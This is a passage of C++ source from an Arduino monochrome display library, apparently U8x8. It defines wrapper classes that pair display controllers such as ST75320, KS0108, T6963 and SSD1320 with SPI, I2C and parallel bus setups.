u8x8_cad_st75256_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_ST75256_JLX16080_2ND_HW_I2C : public U8X8 { public: U8X8_ST75256_JLX16080_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx16080, u8x8_cad_st75256_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_ST75320_JLX320240_4W_SW_SPI : public U8X8 { public: U8X8_ST75320_JLX320240_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75320_jlx320240, u8x8_cad_011, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_ST75320_JLX320240_4W_HW_SPI : public U8X8 { public: U8X8_ST75320_JLX320240_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75320_jlx320240, u8x8_cad_011, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_ST75320_JLX320240_2ND_4W_HW_SPI : public U8X8 { public: U8X8_ST75320_JLX320240_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75320_jlx320240, u8x8_cad_011, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_ST75320_JLX320240_3W_SW_SPI : public U8X8 { public: U8X8_ST75320_JLX320240_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75320_jlx320240, u8x8_cad_011, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_ST75320_JLX320240_3W_HW_SPI : public U8X8 { public: U8X8_ST75320_JLX320240_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75320_jlx320240, u8x8_cad_011, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_ST75320_JLX320240_6800 : public U8X8 { public: U8X8_ST75320_JLX320240_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75320_jlx320240, u8x8_cad_011, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_ST75320_JLX320240_8080 : public U8X8 { public: U8X8_ST75320_JLX320240_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75320_jlx320240, u8x8_cad_011, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_ST75320_JLX320240_SW_I2C : public U8X8 { public: U8X8_ST75320_JLX320240_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75320_jlx320240, u8x8_cad_st75256_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_ST75320_JLX320240_HW_I2C : public U8X8 { public: U8X8_ST75320_JLX320240_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75320_jlx320240, u8x8_cad_st75256_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_ST75320_JLX320240_2ND_HW_I2C : public U8X8 { public: U8X8_ST75320_JLX320240_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75320_jlx320240, u8x8_cad_st75256_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_NT7534_TG12864R_4W_SW_SPI : public U8X8 { public: U8X8_NT7534_TG12864R_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_nt7534_tg12864r, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_NT7534_TG12864R_4W_HW_SPI : public U8X8 { public: U8X8_NT7534_TG12864R_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_nt7534_tg12864r, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_NT7534_TG12864R_2ND_4W_HW_SPI : public U8X8 { public: U8X8_NT7534_TG12864R_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_nt7534_tg12864r, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_NT7534_TG12864R_6800 : public U8X8 { public: U8X8_NT7534_TG12864R_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_nt7534_tg12864r, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_NT7534_TG12864R_8080 : public U8X8 { public: U8X8_NT7534_TG12864R_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_nt7534_tg12864r, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_IST3020_ERC19264_4W_SW_SPI : public U8X8 { public: U8X8_IST3020_ERC19264_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ist3020_erc19264, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_IST3020_ERC19264_4W_HW_SPI : public U8X8 { public: U8X8_IST3020_ERC19264_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ist3020_erc19264, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_IST3020_ERC19264_2ND_4W_HW_SPI : public U8X8 { public: U8X8_IST3020_ERC19264_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ist3020_erc19264, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_IST3020_ERC19264_6800 : public U8X8 { public: U8X8_IST3020_ERC19264_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ist3020_erc19264, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_IST3020_ERC19264_8080 : public U8X8 { public: U8X8_IST3020_ERC19264_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ist3020_erc19264, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_IST3088_320X240_4W_SW_SPI : public U8X8 { public: U8X8_IST3088_320X240_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ist3088_320x240, u8x8_cad_011, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_IST3088_320X240_4W_HW_SPI : public U8X8 { public: U8X8_IST3088_320X240_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ist3088_320x240, u8x8_cad_011, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_IST3088_320X240_2ND_4W_HW_SPI : public U8X8 { public: U8X8_IST3088_320X240_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ist3088_320x240, u8x8_cad_011, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_IST3088_320X240_6800 : public U8X8 { public: U8X8_IST3088_320X240_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ist3088_320x240, u8x8_cad_011, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_IST3088_320X240_8080 : public U8X8 { public: U8X8_IST3088_320X240_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ist3088_320x240, u8x8_cad_011, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_IST7920_128X128_4W_SW_SPI : public U8X8 { public: U8X8_IST7920_128X128_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ist7920_128x128, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_IST7920_128X128_4W_HW_SPI : public U8X8 { public: U8X8_IST7920_128X128_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ist7920_128x128, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_IST7920_128X128_2ND_4W_HW_SPI : public U8X8 { public: U8X8_IST7920_128X128_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ist7920_128x128, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_IST7920_128X128_6800 : public U8X8 { public: U8X8_IST7920_128X128_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ist7920_128x128, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_IST7920_128X128_8080 : public U8X8 { public: U8X8_IST7920_128X128_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ist7920_128x128, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SBN1661_122X32 : public U8X8 { public: U8X8_SBN1661_122X32(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t dc, uint8_t e1, uint8_t e2, uint8_t reset) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sbn1661_122x32, u8x8_cad_001, u8x8_byte_sed1520, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SED1520(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, dc, e1, e2, reset); } }; class U8X8_SED1520_122X32 : public U8X8 { public: U8X8_SED1520_122X32(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t dc, uint8_t e1, uint8_t e2, uint8_t reset) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sed1520_122x32, u8x8_cad_001, u8x8_byte_sed1520, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SED1520(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, dc, e1, e2, reset); } }; class U8X8_KS0108_128X64 : public U8X8 { public: U8X8_KS0108_128X64(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t dc, uint8_t cs0, uint8_t cs1, uint8_t cs2, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ks0108_128x64, u8x8_cad_001, u8x8_byte_arduino_ks0108, u8x8_gpio_and_delay_arduino); u8x8_SetPin_KS0108(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, dc, cs0, cs1, cs2, reset); } }; class U8X8_KS0108_ERM19264 : public U8X8 { public: U8X8_KS0108_ERM19264(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t dc, uint8_t cs0, uint8_t cs1, uint8_t cs2, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ks0108_erm19264, u8x8_cad_001, u8x8_byte_arduino_ks0108, u8x8_gpio_and_delay_arduino); u8x8_SetPin_KS0108(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, dc, cs0, cs1, cs2, reset); } }; class U8X8_T7932_150X32 : public U8X8 { public: U8X8_T7932_150X32(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t dc, uint8_t cs0, uint8_t cs1, uint8_t cs2, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_t7932_150x32, u8x8_cad_001, u8x8_byte_arduino_ks0108, u8x8_gpio_and_delay_arduino); u8x8_SetPin_KS0108(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, dc, cs0, cs1, cs2, reset); } }; class U8X8_HD44102_100X64 : public U8X8 { public: U8X8_HD44102_100X64(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t dc, uint8_t cs0, uint8_t cs1, uint8_t cs2, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_hd44102_100x64, u8x8_cad_001, u8x8_byte_arduino_ks0108, u8x8_gpio_and_delay_arduino); u8x8_SetPin_KS0108(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, dc, cs0, cs1, cs2, reset); } }; class U8X8_LC7981_160X80_6800 : public U8X8 { public: U8X8_LC7981_160X80_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_lc7981_160x80, u8x8_cad_100, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_LC7981_160X160_6800 : public U8X8 { public: U8X8_LC7981_160X160_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_lc7981_160x160, u8x8_cad_100, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_LC7981_240X128_6800 : public U8X8 { public: U8X8_LC7981_240X128_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_lc7981_240x128, u8x8_cad_100, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_LC7981_240X64_6800 : public U8X8 { public: U8X8_LC7981_240X64_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_lc7981_240x64, u8x8_cad_100, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_LC7981_128X128_6800 : public U8X8 { public: U8X8_LC7981_128X128_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_lc7981_128x128, u8x8_cad_100, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_T6963_240X128_8080 : public U8X8 { public: U8X8_T6963_240X128_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_t6963_240x128, u8x8_cad_100, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_T6963_240X64_8080 : public U8X8 { public: U8X8_T6963_240X64_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_t6963_240x64, u8x8_cad_100, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_T6963_256X64_8080 : public U8X8 { public: U8X8_T6963_256X64_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_t6963_256x64, u8x8_cad_100, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_T6963_128X64_8080 : public U8X8 { public: U8X8_T6963_128X64_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_t6963_128x64, u8x8_cad_100, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_T6963_128X64_ALT_8080 : public U8X8 { public: U8X8_T6963_128X64_ALT_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_t6963_128x64_alt, u8x8_cad_100, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_T6963_160X80_8080 : public U8X8 { public: U8X8_T6963_160X80_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_t6963_160x80, u8x8_cad_100, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SSD1320_160X32_4W_SW_SPI : public U8X8 { public: U8X8_SSD1320_160X32_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1320_160x32, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_SSD1320_160X32_4W_HW_SPI : public U8X8 { public: U8X8_SSD1320_160X32_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1320_160x32, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1320_160X32_2ND_4W_HW_SPI : public U8X8 { public: U8X8_SSD1320_160X32_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1320_160x32, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1320_160X32_3W_SW_SPI : public U8X8 { public: U8X8_SSD1320_160X32_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1320_160x32, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_SSD1320_160X32_3W_HW_SPI : public U8X8 { public: U8X8_SSD1320_160X32_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1320_160x32, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_SSD1320_160X32_6800 : public U8X8 { public: U8X8_SSD1320_160X32_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1320_160x32, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SSD1320_160X32_8080 : public U8X8 { public: U8X8_SSD1320_160X32_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1320_160x32, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, 